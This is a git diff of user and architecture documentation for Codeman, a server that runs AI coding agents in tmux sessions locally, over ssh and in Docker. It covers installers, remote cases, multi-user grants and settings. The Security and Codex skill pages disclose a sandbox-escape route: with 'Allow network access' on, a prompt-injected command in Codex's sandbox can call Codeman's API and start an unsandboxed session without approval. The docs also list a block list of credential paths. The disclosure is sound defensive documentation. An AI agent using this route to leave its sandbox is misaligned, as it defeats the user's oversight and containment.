⚠️ This covers `codeman-*` sessions on the `codeman-remote` socket, the ones another
Codeman runs. A tmux session a HUMAN started on the host is a separate path:
`GET /api/mux/foreign?remote=1` finds it and `POST /api/sessions/adopt` wraps it, with
the connection on `Session.adopt.remote` and `session.remote` undefined. Closing that tab
detaches too. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
### Discovery
`listRemoteCodemanSessions(host)` lists the remote's `codeman-*` sessions:
@@ -419,8 +467,9 @@ still has it.
**Not available over ssh (by choice, not by accident):** editing a file (writes would
need SFTP; `docs/file-viewer-edit-plan.md` §6), office-document previews and
generated thumbnails (both need the bytes on the server's disk — no remote file is ever
spilled onto the server), the file-tree/picker listings, and `tail-file`. Those routes
generated thumbnails (both need the bytes on the server's disk: no remote file is ever
spilled onto the server, the Edit history store's diffs being the one exception), the
file-tree/picker listings, and `tail-file`. Those routes
are still local-only, so with an `sshfs` mount in place they read the mounted copy —
the two views can only disagree when that mount is stale. Docker cases are unaffected:
their workspace is bind-mounted at the same absolute path, so local `fs` reads real bytes.
+10 -1
View File
@@ -483,6 +483,15 @@ transient mount blip at launch poisons tmux's long‑lived cwd and crashes
never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
syntax checks still cover them.
- **Installer downloads without a package manager:** on the no-admin route
(`docs/wiki/Installation.md`) `install.sh` fetches and runs software no system
package manager vetted, each checked before it is unpacked or run. The Node.js
tarball is checked against the `SHASUMS256.txt` fetched from nodejs.org over the
same TLS connection, which proves integrity, not independent provenance: the
signature on that file is not checked. The tmux build is checked against a
SHA-256 pinned per platform in the installer. `install.sh cloudflared` takes the
latest cloudflared release into `~/.local/bin` unverified, as the system routes
take the same release, because Cloudflare publishes no checksum file.
---
@@ -558,7 +567,7 @@ Full feature guide: [`docker-cases.md`](docker-cases.md).
- **It strictly improves network posture.** It removes the single shared `CODEMAN_PASSWORD` and gives each person a revocable credential; a non‑loopback bind and the tunnel‑enable guard are satisfied by "multi‑user with ≥1 enabled user" without a shared password.
- **Auth is a parallel branch** (`middleware/auth.ts`) that leaves the single‑user path untouched: per‑user scrypt verify (`timingSafeEqual`, timing‑equalized against user enumeration), identity‑carrying cookies, a per‑username failure bucket (a botnet can't brute one account across IPs; one NATed user can't lock out the rest), and a `mustChangePassword` lockbox. The hook‑secret loopback bypass, host guard, and Origin/CSRF guard are unchanged (hooks authenticate the INSTANCE, not a user).
- **Ownership is enforced server‑side only** and fails closed: `req.authUser` (a synthetic admin in single‑user), `findSessionOrFail` returns NOT_FOUND (never 403) for a foreign session, list/SSE/WS/file‑preview/search all filter by `session.owner`, and SSE routing defaults session‑scoped events to their owner (unresolved owner → withheld). The load‑bearing rule is **non‑admin `workingDir` confinement**: a non‑admin's session/one‑shot working dir must realpath‑resolve inside `~/codeman-users/<name>/cases`, checked BEFORE any disk write.
- **Privileged actions are a one‑bit grant** (`canBypassPermissions`, default off): only granted users (and admins) get `--dangerously-skip-permissions` (others are silently downgraded to `--permission-mode auto`), shell‑mode sessions, cron `launchCommand`, and other CLIs' bypass flags. Machine‑level resources (remote/Docker host definitions, tunnel, self‑update, settings writes) are admin‑only.
- **Privileged actions are a one‑bit grant** (`canBypassPermissions`, default off): only granted users (and admins) get `--dangerously-skip-permissions` (others are silently downgraded to `--permission-mode auto`), shell‑mode sessions, cron `launchCommand`, other CLIs' bypass flags, and Codex's **Allow network access** (`networkAccess`, forced off for a user without the grant, since it lets a command in Codex's sandbox call Codeman's API and start a session outside that sandbox). Machine‑level resources (remote/Docker host definitions, tunnel, self‑update, settings writes) are admin‑only.
- **Clone Repo does not lend the server's git sign-in to non-admins.** A clone writes only inside the caller's own case space, so it is not admin-gated, but the server account's git credential helpers (the Docker image's opt-in `gh`/`az` helpers, or any `gh auth setup-git`) are shared by every user. A non-admin's clone and preflight therefore run with `git -c credential.helper=`, which empties the helper list including the URL-scoped entries (`cloneWithoutCredentialHelpers` in `case-routes.ts`, argv pinned in `test/git-clone.test.ts`). This closes the Clone Repo path only: the account's SSH keys still apply to an `ssh://` URL, and a non-admin's agent sessions run as the same account, consistent with the first bullet above. Docker cases are a second route to the same sign-in: with `CODEMAN_AGENT_IMAGE_INSTALL_GH`/`_AZ` on, a non-admin's Docker case with credential seeding on (the default) receives a copy of the server account's `gh`/`az` sign-in, exactly as it receives the Claude and Codex credentials.
- **Admin actions are audited** append‑only to `~/.codeman/admin-audit.jsonl` (acting admin, action, target, IP). Passwords set by an admin create/reset are one‑time (returned once, force change). Under Basic auth, `logout` only truly ends QR‑issued sessions — to lock someone out, disable the account or reset the password (a proper login form is a deferred Phase 6).
+13
View File
@@ -86,6 +86,19 @@ covered like any other stable behavior. Other agent commands and API routes keep
their existing guarantees. Promotion to stable requires an explicit documented
decision.
### Experimental local model recommendation
`GET /api/v1/local-model` (and its `/api` alias) is labeled experimental, so item 3
above applies to it: its path, its payload (the hardware facts, the verdicts and
reasons, the candidate fields and the English sentences in `headline` and
`notes`) and its behavior may change or be removed in a MINOR or PATCH release.
It is read-only today: it looks at the Mac the server runs on and says which
local model fits. The step that sets a model up from Codeman is not built yet
and will change what the route reports, which is why the shape is not promised.
It is not behind a setting (it writes nothing and adds no settings key); it is
admin only in multi-user mode. Promotion to stable requires an explicit
documented decision.
## Deprecation policy
When we need to change a covered surface:
+17 -1
View File
@@ -140,8 +140,24 @@ Explicit `codexConfig.model` / `codexConfig.reasoningEffort` values take precede
Custom model endpoints, Docker containers and remote host command overrides keep their own settings.
Changing a default affects new sessions and does not edit Codex configuration files.
Two behaviours that are deliberate and worth knowing:
**Allow network access** reaches the same local launches. It opens the network only where
Codex runs the folder in its workspace-write sandbox and does not change Codex's sandbox
mode: a folder Codex runs read-only keeps the network closed, and Codex asks per command.
With it on, commands in the sandbox can call Codeman's API, which can start a session
outside the sandbox with no approval prompt, even when a password is set. See
[The Codeman Skill](Codeman-Skill#when-the-agent-is-codex) and
[Security](Security#what-codeman-does-not-protect-against).
Behaviours that are deliberate and worth knowing:
- **Each local session runs its own app server.** Codex 0.162 and later otherwise hands
every client's commands to one shared background server, which runs them with the
environment of whichever session started it, and a server left by another Codex version
stops every launch on a dialog. So Codeman starts a local Codex 0.162 or later with
`--no-daemon`. The trade-off, going by Codex's own help text: `codex agents` browses the
sessions on that shared server and `codex remote-control` manages it, so do not expect
either to see a session started this way. Remote and Docker launches do not get the
flag, and neither does a local launch whose Codex version Codeman could not read.
- **Predictive echo instead of buffered echo.** Codex's composer reacts to every keystroke,
a `/` opens a live-filtering picker, arrows edit server-side state. Buffering keystrokes
until Enter starved it, so Codex paints each keystroke at the predicted cell while the
+20 -4
View File
@@ -140,12 +140,28 @@ message a worker directly instead of typing into its terminal.
Two things to know:
- Codex's default sandbox blocks network access, even to this machine, so the skill needs
**Bypass approvals and sandbox** (App Settings, Codex).
- Codex's default sandbox blocks network access, even to this machine, so a Codex session
needs **Allow network access** (App Settings, Codex) before it can start and drive
others. The setting is app-wide: it applies to every local Codex session started after
you switch it on, not only the ones you mean to orchestrate. It also has a cost: commands
in Codex's sandbox can then call Codeman's API, which can start a session outside the
sandbox with no approval prompt, even when a password is set, so the sandbox no longer
contains a prompt-injected command. See
[Security](Security#what-codeman-does-not-protect-against). It opens the network only
where Codex runs the folder in its workspace-write sandbox, which is what Codex does for
a project you trusted. It does not change Codex's sandbox mode: a folder Codex runs
read-only (a new case that is not a git repository, for one) keeps the network closed,
and Codex asks you to approve each call to Codeman. Trust the project in Codex, or use `/permissions` in
Codex for that session, to get workspace-write there. **Bypass approvals and sandbox**
works everywhere, but removes the sandbox and the approval prompts.
- Codex 0.162 runs its commands in a shared background process, whose Codeman variables can
belong to the session that started it.
belong to the session that started it. Codeman starts a local Codex 0.162 or later with
`--no-daemon`, so each session runs its own. A remote or Docker session does not get the
flag, and neither does a local one whose Codex version Codeman could not read; there,
and with an older Codex, the skill notices and says so instead of acting.
The skill checks for both and says so instead of acting.
OpenCode and DeepSeek Harness need nothing extra: in their default setup neither keeps its
shell commands off the network, so the skill works there as soon as it is injected.
## What is in the skill
+1 -1
View File
@@ -25,7 +25,7 @@ Three ways to get one, all under **New or link a case…** at the bottom of the
| How | Result |
| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Create New** | A fresh `~/codeman-cases/<name>` with a scaffolded `CLAUDE.md`, or with **Create in a custom folder**, a new folder inside a parent you choose, scaffolded the same way and registered in place like a linked case. |
| **Clone Repo** | A repo cloned into `~/codeman-cases/<name>` (or straight into a folder you choose, which must be empty or not exist yet) and registered as a case. Private repos need this machine's own git credentials (see below). |
| **Clone Repo** | A repo cloned into `~/codeman-cases/<name>` (or, with **Clone into a custom folder**, into `<parent folder you choose>/<name>`, which must be empty or not exist yet) and registered as a case. Private repos need this machine's own git credentials (see below). |
| **Link Existing** | An existing folder anywhere on disk, registered in place. Nothing is copied or moved. |
Linked cases keep living where they are. Deleting a case in Codeman removes the
+4
View File
@@ -213,6 +213,10 @@ missing entry is the more current answer.
- **No button to un-point a session from the UI yet.** Clearing back to native cloud is an
HTTP call (`POST .../custom-model {"clear": true}`) or deleting the session; the settings
panel manages saved endpoints, not what a running session is currently pointed at.
A clear, or a switch to another endpoint, gives the session back what it had set itself under
a key the endpoint replaced, such as its own `DSH_HOME` or `CLAUDE_CONFIG_DIR`. If Codeman
restarted in between, only the home directory comes back, and an own `DSH_HOME`, `CODEX_HOME`
or `GROK_HOME` only when the endpoint was picked before that restart.
- **Nothing is shared with your real cloud credentials.** The endpoint's own key, if any,
never touches your Anthropic/OpenAI/Google login — a custom endpoint is a separate,
explicit choice per session.
+6 -1
View File
@@ -98,6 +98,10 @@ Adoption is **admin-only in multi-user mode**. Linking creates Codeman's own con
with one bind mount that has already been checked; an adopted container's mounts belong to
whoever started it, and one that mounts `/` hands the adopter the host.
That is about a container. A tmux session someone started by hand inside a container is opened
from the home screen instead, and it needs a Docker case pointing at that container: see
[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
## Credentials
Your existing host logins work inside the container without logging in again. Credentials
@@ -225,7 +229,8 @@ this does not widen your network exposure. Add it to the service unit and restar
- Per-session environment overrides, effort, and per-CLI configuration are **rejected** for
docker cases, because they do not cross into the container. Configure the container through
the docker host's per-mode command override instead.
the docker host's per-mode command override instead. A `$` in that override expands inside
the container, not on the Codeman machine.
- tmux must exist in the base image. It is a hard prerequisite and is probed when linking a
host.
- On macOS, Docker Desktop takes a dedicated uid path, and memory caps are subject to the
+2 -1
View File
@@ -179,12 +179,13 @@ the defaults discovers and attaches your live sessions.
| Install route | Update with |
| ------------- | --------------------------------------------------------------------------- |
| Installer | Re-run the install one-liner, or **App Settings → System → Updates**. |
| Installer, without git | Re-run the install one-liner. The in-app updater says so instead of offering an update. |
| npm | `npm update -g aicodeman` |
| git clone | `git pull && npm install && npm run build`, then restart the service. |
The in-app updater covers git-clone installs supervised by systemd or launchd. It stashes a
dirty tree rather than discarding it, and streams progress across the restart. npm installs
report as non-updatable.
and installs without git report as non-updatable.
### Will updating kill my running sessions?
+20
View File
@@ -39,6 +39,26 @@ name.
**Open** on a worktree's row starts another session in it, with the CLI chosen above.
## When an agent moves into a worktree
Claude Code can move a running session into a worktree part way through (its EnterWorktree tool),
and the session's tab stays on the case. While the session's pane is in a worktree inside the
session's folder, the **Files** panel lists that worktree, so you see the files the agent is
editing. A strip under the panel's title names the worktree, and its **Session folder** button
switches to the session's own folder (**Back to worktree** returns). The panel follows the agent
in and back out on its own while it is open.
Only the Files panel moves. The **Git** panel stays on the session's folder, so it can show
`main` while the strip names the worktree. And `.claude` is a hidden folder of the session's
folder, so an `.html` file in `.claude/worktrees/<name>` opens as source rather than as a
rendered page. A session started in the worktree does not have that limit.
A worktree outside the session's folder (`git worktree add ../feature`) is not followed: Codeman
only serves files inside the session's folder. The same goes for a session started in a subfolder
of the repository, because Claude Code puts the worktree at the top of the repository, which is
outside that session's folder. Open such a worktree as a case of its own with Add Case > Link
Existing.
## Removing one
Two ways, and both use `git worktree remove` **without** `--force`:
+83 -7
View File
@@ -78,6 +78,8 @@ install.sh uninstall # remove (offers to undo a rename it performed)
install.sh tailscale # retrofit Tailscale access onto an existing install
install.sh name [<n>] # rename this machine on your tailnet (default codeman-<hostname>)
install.sh cloudflared # install cloudflared for the in-app Cloudflare tunnel
install.sh preflight # print what is on this machine as JSON; changes nothing
install.sh agent <id> # install one agent CLI and nothing else, also next to a running Codeman
```
**Flags** answer the questions from the command line and pipe through `bash -s --`:
@@ -94,14 +96,74 @@ the name, `--service` / `--run` / `--no-start` the last one. `--yes` takes every
`--port <n>` moves Codeman off 3000; the service file and the serve mapping follow it. On an
existing install, `--port` and `--password` re-run the setup so the service file picks them up,
and a re-run with `--lan` or `--tailscale` keeps the password the service already has.
`--ai-cli <id>` answers the agent menu that appears when no agent CLI is found, with no
terminal needed (`--ai-cli claude`, `--ai-cli codex`, ...), and `--ai-cli none` skips it.
To add an agent later, `install.sh agent codex` installs that one and changes nothing else:
it does not touch Codeman or its service, and an agent that is already there is left alone.
Codeman Desktop does the same from *Add a coding agent*. A running Codeman can take a few
minutes to notice the new agent; reload the page if it does not show up.
**Automation and CI**: with no terminal attached, any step that would change the system
aborts with instructions instead of running silently. Set `CODEMAN_NONINTERACTIVE=1` to
approve those steps. `CODEMAN_TAILSCALE=1` preselects the Tailscale answer, and never
approve those steps. With nothing else said, that also installs the first agent CLI of the
catalogue when none is found; `--ai-cli` (or `CODEMAN_AI_CLI`) says which one, or none.
`CODEMAN_TAILSCALE=1` preselects the Tailscale answer, and never
installs Tailscale itself non-interactively; a non-interactive run never renames the
machine and never starts a service. Everything the unattended steps print goes to
`~/.codeman/install.log`, and the last lines of it are shown when a step fails.
### Without administrator rights
Codeman itself always lived in your home directory. What used `sudo` (or Homebrew on a
Mac) were the things it needs first. On an account that has no administrator rights the
installer says so in its summary (`Admin not used (...)`) and gets those another way:
| Needed | With administrator rights | Without |
| ----------------------- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| Node.js 22 | system package or Homebrew | The official tarball from nodejs.org, checked against the `SHASUMS256.txt` published beside it, unpacked to `~/.codeman/runtime/node`. |
| tmux | system package or Homebrew | The tmux project's own build ([tmux-builds](https://github.com/tmux/tmux-builds)), checked against a SHA-256 pinned in the installer, in `~/.codeman/runtime/bin`. |
| git | system package or Xcode tools | Not installed. Without a working git, the source is downloaded as an archive instead of cloned. |
| Build toolchain (Linux) | system package | Cannot be supplied. See below. |
This route is taken by itself when `sudo` is not installed, when the account is outside the
`sudo`, `wheel` and `admin` groups and `sudo` will not run without a password, when the
`sudo` password is refused, and on a Mac for an account that is not an administrator and
has no Homebrew it can write to.
`--no-admin` (or `CODEMAN_NO_ADMIN=1`) forces it on an account that does have the rights;
`CODEMAN_NO_ADMIN=0` switches the detection off. Nothing on this route runs `sudo`,
Homebrew or the Xcode tools installer.
The group check cannot see a sudoers entry, so an account that sudoers lists by name, with
a password, takes this route too. The summary then reads `could not confirm that this
account may use sudo`, and to use `sudo` anyway:
```bash
curl -fsSL https://getcodeman.com/install | CODEMAN_NO_ADMIN=0 bash
```
What to know about it:
- **Linux needs make, a C++ compiler and python3 to be there already.** node-pty compiles
from source on Linux, and a compiler is a system package. The installer checks this
before it downloads anything and names what is missing. macOS needs no compiler.
- **The tmux download needs macOS 15 or newer** (and x86_64 or arm64 on either system).
On an older Mac an administrator has to install tmux once (`brew install tmux`); the
rest then works without one.
- **An install without git updates by re-running the install line**, not from App
Settings. The re-run builds the new version beside the old one and swaps it in only
after the build succeeded, so a failed download or build leaves the install as it was.
Once the machine has a working git, the next re-run turns the install into a normal
clone and in-app updates work again. On a Mac, "a working git" means the Xcode Command
Line Tools are installed: without them `/usr/bin/git` only opens Apple's install dialog,
and the installer never runs it.
- **Tailscale works where it is already installed and your account may configure it.** On
Linux, installing it, logging in and granting serve rights each need an administrator
(`sudo tailscale set --operator=$USER`, once). Local network and this-machine access
need nothing, and `install.sh cloudflared` puts `cloudflared` in `~/.local/bin`.
- `node`, `npm`, `npx` and `tmux` are linked from `~/.local/bin`, and
`~/.codeman/runtime/node/bin` is added to your PATH, so a CLI installed with
`npm install -g` is found as well.
## Route B: npm
```bash
@@ -144,16 +206,24 @@ See [Contributing](Contributing) for the rest of the development loop.
## Route D: Docker Compose
Codeman itself can run in a container and spawn Docker cases as sibling containers through
the host's Docker socket. Copy `docker/.env.example` to `docker/.env`, set
`CODEMAN_PASSWORD`, then:
the host's Docker socket. You need Docker with the Compose v2 plugin (2.27.2 or newer), and
an account that can use Docker without sudo (on Linux, the `docker` group). Then, on Linux:
```bash
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run asks for a data folder, a port and a password. Enter takes each default,
including a generated password, shown on your terminal and kept in `docker/.env`. It then
writes that file, builds the image (a few minutes the first time) and ends on the URL once
Codeman answers. The image
already includes Claude Code, Codex, Gemini CLI and OpenCode: start a session and log the CLI
in once, and the login is kept in the data folder.
Run the script again after updating rather than a plain `docker compose up`, so the rebuilt
image, the refreshed volumes and the entrypoint arrive together. The full guide, including
storage and networking options, is
Unraid, storage and networking options, is
[`docker/README.md`](https://github.com/Ark0N/Codeman/blob/master/docker/README.md).
## Installing an agent CLI
@@ -194,6 +264,7 @@ If the dashboard loads and **+ New Session** opens, you are done. Continue to
| Path | What |
| ----------------------- | ------------------------------------------------------------------------------------------------ |
| `~/.codeman/app` | The installed code (installer route only). |
| `~/.codeman/runtime` | Node.js and tmux, when the installer downloaded them instead of using system packages ([no administrator rights](#without-administrator-rights)). |
| `~/.codeman/` | All state: `state.json`, settings, session history, push keys, TLS certs. See [Core Concepts](Core-Concepts). |
| `~/codeman-cases/` | Cases created from scratch. Linked cases stay wherever they already are. |
| `~/.codeman/web.log` | Log for a detached (`-d`) server. |
@@ -217,9 +288,10 @@ Full detail, including logs and the self-updater, is in
| Install route | How to update |
| ------------- | ----------------------------------------------------------------- |
| Installer | Re-run the one-liner, or **App Settings → System → Updates** in the UI. |
| Installer, without git | Re-run the one-liner. The in-app updater says so instead of offering an update. |
| npm | `npm update -g aicodeman` |
| git clone | `git pull && npm install && npm run build`, then restart. |
| Docker Compose | Re-run `Start-Codeman.sh`. The in-app updater works too, and refuses a release that changes the container definition until you re-run the script. |
| Docker Compose | `git pull`, then re-run `Start-Codeman.sh`. The in-app updater works too, and refuses a release that changes the container definition until you re-run the script. |
The in-app updater covers git-clone installs supervised by systemd or launchd. It restarts
the process that is running it, so the actual work happens in a detached script and the
@@ -232,8 +304,12 @@ install.sh uninstall # installer route
npm uninstall -g aicodeman # npm route
```
Neither removes `~/.codeman/` or `~/codeman-cases/`. Delete those by hand if you want the
state and your case folders gone as well, and check `~/codeman-cases/` first: linked cases
The installer route asks before it removes `~/.codeman/runtime` (the Node.js and tmux it
downloaded, if any), and keeps it by default when you installed CLIs there with
`npm install -g`. That folder is inside `~/.codeman/`, so saying yes to the data directory
question that follows removes it even if you kept it a step earlier, and the question says
so. By default neither route removes `~/.codeman/` or `~/codeman-cases/`. Delete those by hand
if you want the state and your case folders gone as well, and check `~/codeman-cases/` first: linked cases
point at directories you already had, but cases created from scratch have their only copy
there.
+4 -2
View File
@@ -66,8 +66,9 @@ A row of keys above the virtual keyboard, and what it contains depends on the se
**Agent sessions** get quick actions: `/init`, `/clear`, `/compact`, a Compose key, `Esc`,
a path picker, and 🧠 when Read My Mind is on. Compose opens a multiline editor with
autocorrect: Enter adds a new line, and only Send delivers the text, as one paste followed
by Enter, so your line breaks reach the agent intact. Anything already typed on the terminal
prompt moves into the editor when it opens. Drafts are kept per session and in memory only,
by Enter, so your line breaks reach the agent intact. A prompt written in Persian, Arabic or
Hebrew lays out right to left. Anything already typed on the terminal prompt moves into the
editor when it opens. Drafts are kept per session and in memory only,
so switching tabs keeps them and a page reload forgets them; a dot on the key shows a draft
is parked. The editor's Attach button attaches photos, videos or documents and puts their paths
into the draft.
@@ -187,6 +188,7 @@ Setup in [Notifications And Approvals](Notifications-And-Approvals).
The terminal viewport is small. **Last Response** (opt-in header button) renders the agent's
last answer as scrollable text instead, with a **More** button for additional context.
Persian, Arabic and Hebrew answers read right to left there.
The [File Viewer](Working-With-Files) works on phones too, including edit mode, which is
enough to fix a typo an agent introduced while you are away from your desk.
+5 -2
View File
@@ -85,8 +85,10 @@ In the browser this means:
The operations that act on the whole server are admin actions too: updating Codeman,
opening the multi-display window, regenerating the tunnel QR code (it clears every user's
pending QR login) and cleaning up stale session state. **Revoke All** signs a regular user
out of their own logins only, and the tunnel panel lists only their own.
pending QR login) and cleaning up stale session state. So is the **Opened outside Codeman**
block on the home screens, which shows everyone's processes and opens a shell as the server's
account. **Revoke All** signs a regular user out of their own logins only, and the tunnel
panel lists only their own.
Per-user server settings are not part of this version.
@@ -99,6 +101,7 @@ Non-admins get tighter defaults, and lifting them is an explicit per-user grant:
| Claude runs in `auto` permission mode | Anthropic's classifier-guarded mode instead of skip-prompts. |
| Raw shell sessions require a grant | A plain shell is unmediated machine access. |
| Skip-permissions requires a grant | Same reasoning. |
| Codex **Allow network access** requires a grant | It lets a sandboxed command reach any host, Codeman's own API included. |
| Cron `launchCommand` requires a grant | It is an arbitrary command on a schedule. |
| Pi project trust defaults to off | Trust makes Pi execute repo-local TypeScript. |
+17 -4
View File
@@ -29,11 +29,18 @@ through a jump host. Your laptop can sleep, change networks, or close, and the r
Hosts are saved and reusable, so a second case on the same machine is just a path. Host
profiles can also carry per-run-mode launch command overrides, for when the binary lives
somewhere unusual on that host.
somewhere unusual on that host. An override runs on the remote in your login shell, so a `$`
in it expands there, not on the Codeman machine.
The remote host needs **tmux**. Codeman probes for it when you link the host rather than
failing later at launch.
The remote login shell can be bash, zsh, dash, fish, csh or tcsh. A tcsh session reads `.tcshrc`
and not `.login`, so set the PATH that finds `tmux` and your agent CLI in `.tcshrc`. The tmux check
also needs a `command` executable under tcsh: macOS and the BSDs ship one, Debian and Ubuntu do
not, so linking a tcsh host there stops at `could not verify tmux`. nushell and elvish cannot run a
remote session at all.
## What actually runs
The agent lives inside a dedicated tmux server on the **remote** host, and Codeman fronts it
@@ -73,13 +80,19 @@ Attaching to someone else's session and closing your tab must not end their run,
not. Several clients can attach the same remote session at different window sizes without
clamping each other, and discovery shows a shared badge with the client count.
This list holds Codeman's own sessions. A tmux session someone started by hand on the host is
found by the home screen instead: see
[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
## Files
Previews, downloads and text reads in a remote case go over the same ssh connection the
session uses, so a clicked path opens the file on the machine the agent is on, `Range`
seeking included. Nothing is copied to the Codeman host. Editing, Office previews,
thumbnails, the file tree and the tail viewer are not available remotely and answer a clear
400 rather than a misleading 404. Details in [Working With Files](Working-With-Files).
seeking included. Nothing is copied to the Codeman host, apart from the diffs the
[Edit history](Working-With-Files#edit-history) panel keeps, which works for remote Claude
sessions too. Editing, Office previews, thumbnails, the file tree and the tail viewer are not
available remotely and answer a clear 400 rather than a misleading 404. Details in
[Working With Files](Working-With-Files).
## Security
+11 -4
View File
@@ -145,15 +145,16 @@ log stream --predicate 'process == "node"' # macOS, noisy
| Install route | Update with |
| ------------- | ------------------------------------------------------------------------ |
| Installer | Re-run the one-liner, or **App Settings → System → Updates**. |
| Installer, without git | Re-run the one-liner. The in-app updater says so instead of offering an update. |
| npm | `npm update -g aicodeman` |
| git clone | `git pull && npm install && npm run build`, then restart. |
| Docker Compose | Re-run `Start-Codeman.sh`, or the in-app updater, which restarts the container in place. |
| Docker Compose | The in-app updater, which restarts the container in place, or `git pull`, then re-run `Start-Codeman.sh`. |
### The in-app updater
**App Settings → System → Updates**, for git-clone installs supervised by systemd or
launchd. npm installs report as non-updatable, and an unsupervised install is told to
restart manually.
launchd. npm installs and installs without git report as non-updatable, and an unsupervised
install is told to restart manually.
The interesting part is that the update restarts the very process running it. So the real
work runs in a **detached script that outlives the restart** and writes progress to a status
@@ -188,7 +189,13 @@ the bind-mounted directories with the right owner, honours a `docker-compose.ove
and refreshes the build volumes when the checkout moved under them. The in-app updater
applies code only and restarts by letting the container exit, so it refuses a release that
changes the Dockerfile, the compose file, or adds a new `.env` key, until you re-run the
script. Guide:
script.
With no `docker/.env` yet, the script first asks for a data folder, a port and a password and
writes that file. It then waits up to 180 seconds for Codeman to answer and exits 1 if the
container crash-loops or never answers; pass `--no-wait` for scripted use. `Start-Codeman.sh`
and `Update-Codeman.sh` both refuse to run while `CODEMAN_PASSWORD` is still the example
`changeme`. Guide:
[`docker/README.md`](https://github.com/Ark0N/Codeman/blob/master/docker/README.md).
## The tunnel as a service
+7 -1
View File
@@ -68,7 +68,7 @@ be wrong for at least one of them:
| **File Viewer** | Real path resolution before boundary checks, so symlinks cannot escape. Sensitive trees blocked. Edit mode adds an extension allowlist, a size cap, `.git` denial, and optimistic concurrency. It never creates files. |
| **Attachments** | An id-based registry, so browser requests never carry absolute paths. The magic-link scanner is prompt-injectable by nature and is therefore force-confined to the session's workspace. Extension allowlist, not a blocklist. |
| **Path picker** | Its own root allowlist rather than the workspace confinement. In multi-user mode a non-admin gets only their own user space, because per-user spaces live inside the home directory. |
| **Remote cases** | Reads go over the session's own ssh connection and are resolved and contained on the remote host, with a bounded number of ssh children. Nothing is copied to the Codeman host; writes, Office previews and thumbnails are refused. |
| **Remote cases** | Reads go over the session's own ssh connection and are resolved and contained on the remote host, with a bounded number of ssh children. Nothing is copied to the Codeman host, apart from the diffs the Edit history panel reads from a remote Claude session's transcripts while it is open, kept in a private bounded store (0600) that is deleted with the session's record. Writes, Office previews and thumbnails are refused. |
Downloads block sensitive paths outright (`.env`, credentials files, `~/.ssh`, AWS
credentials), and SVG and HTML are served as downloads with `nosniff` so they cannot execute
@@ -99,6 +99,12 @@ Stated plainly, because a security page that only lists strengths is not useful:
bypass requires a secret unconditionally when auth is on.
- **The agent CLIs have their own trust models.** Pi's project trust executes repo-local
TypeScript, for instance. See [Agent CLIs](Agent-CLIs).
- **Allow network access takes Codex's sandbox out of the picture.** The setting (App
Settings, Codex, off by default) lets commands in Codex's sandbox call Codeman's API,
which can start a session outside the sandbox with no approval prompt. A password does
not stop this, because a session inherits the server's password. It applies to every new
local Codex session, so a prompt-injected command in any of them can run anything you
can. Leave it off unless you trust what those sessions run.
## Privacy
+19 -4
View File
@@ -38,8 +38,8 @@ as usual and tells them that server-wide settings can only be changed by an admi
### Updates
Current version, a manual check, and the in-app updater. Covers git-clone installs
supervised by systemd or launchd; npm installs report as non-updatable. See
[Running As A Service](Running-As-A-Service).
supervised by systemd or launchd; npm installs and installs without git report as
non-updatable. See [Running As A Service](Running-As-A-Service).
### Terminal & Input
@@ -49,7 +49,7 @@ supervised by systemd or launchd; npm installs report as non-updatable. See
| Keep Size Under Keyboard | On | For local Claude sessions, the on-screen keyboard no longer resizes the session: the terminal keeps its rows and the view scrolls so the prompt sits just above the keyboard. Resizing made Claude reprint its screen and drop transcript lines from history. Codex, Claude's fullscreen mode, remote and Docker sessions resize as before. See [Mobile Guide](Mobile-Guide). |
| CJK Input | Off | IME composition through a dedicated text field. |
| Extended Keyboard Bar | Per device | Which accessory bar phones get. Shell sessions override it while they are active. |
| Wheel Scrolls Local History | Off | Keeps the wheel on the local buffer instead of forwarding it to the CLI. |
| Wheel Scrolls Local History | Off | Keeps the wheel on the local buffer instead of forwarding it to the CLI. Fullscreen pi leaves that buffer empty and has no paging fallback, so with this on the wheel does nothing there. |
| Auto Copy Selection | Off | Copies highlighted terminal text to the clipboard the moment you finish selecting it. Ctrl+C still copies on demand. |
| Trim The Pane Margin On Copy | On | Takes the left margin a full-screen agent CLI paints down its own edge off a copy, so the text pastes flush. Each CLI declares its own width, and the strip never exceeds the indent every selected line shares, so nesting is kept. Claude Code and Codex declare a margin; a shell does not. |
| Normal / Bold font weight | xterm defaults | Per device, each slot from 100 to 900. The bundled JetBrains Mono renders every step, so a lighter normal weight makes Claude's bold headings stand out. Applies live to the terminal, both echo overlays and open team panes. |
@@ -108,7 +108,7 @@ records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode st
**Edit history** (per device, off by default, never on phones) adds a header button for the
active session's edit history: every edit the agent and its subagents made, with its diff, and
images it produced. Local Claude sessions only. Nothing is read until you open the window, and it
images it produced. Claude sessions, local and remote (SSH). Nothing is read until you open the window, and it
stores those diffs (secrets included) under `~/.codeman/edit-history/`; see
[Working With Files](Working-With-Files#edit-history).
@@ -193,6 +193,20 @@ attached.
section to the Run dropdown, for pointing a harness at your own OpenAI-compatible server
instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-Endpoints).
**Model on this Mac** is not a setting: it is a read-only answer. When the Codeman server
runs on a Mac with Apple silicon, it shows that Mac's chip, memory and free disk space, the
local coding model that fits it best with the agent CLI to run it, what the model needs of
the memory the Mac can give one, its download size and an estimated speed, and the other
models that fit (Good or Tight for the memory, Slow or Speed unknown for the speed). A Mac
that can only run a model under 12 billion parameters is told so in plain words, and a Mac
with too little memory, too little free disk space or an Intel processor is told why nothing
is offered. The numbers are estimates from a catalogue that ships with each release; nothing
has been tested on your Mac. **Nothing is downloaded or installed from here yet**: setting
the model up from Codeman is the next step and is not built. The same answer appears as a
card on the welcome screen, which you can hide per device (it stays here). The group is not
shown when the server runs on Linux or Windows, and in multi-user mode only an admin sees
it. The "Mac" is always the machine the server runs on, not the device you are reading on.
### Agents & CLIs
| Setting | Notes |
@@ -208,6 +222,7 @@ instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-E
| Default Codex model | Model for new local Codex sessions; empty uses Codex's own config. Letters, digits, `.` `_` `-` `/` only. |
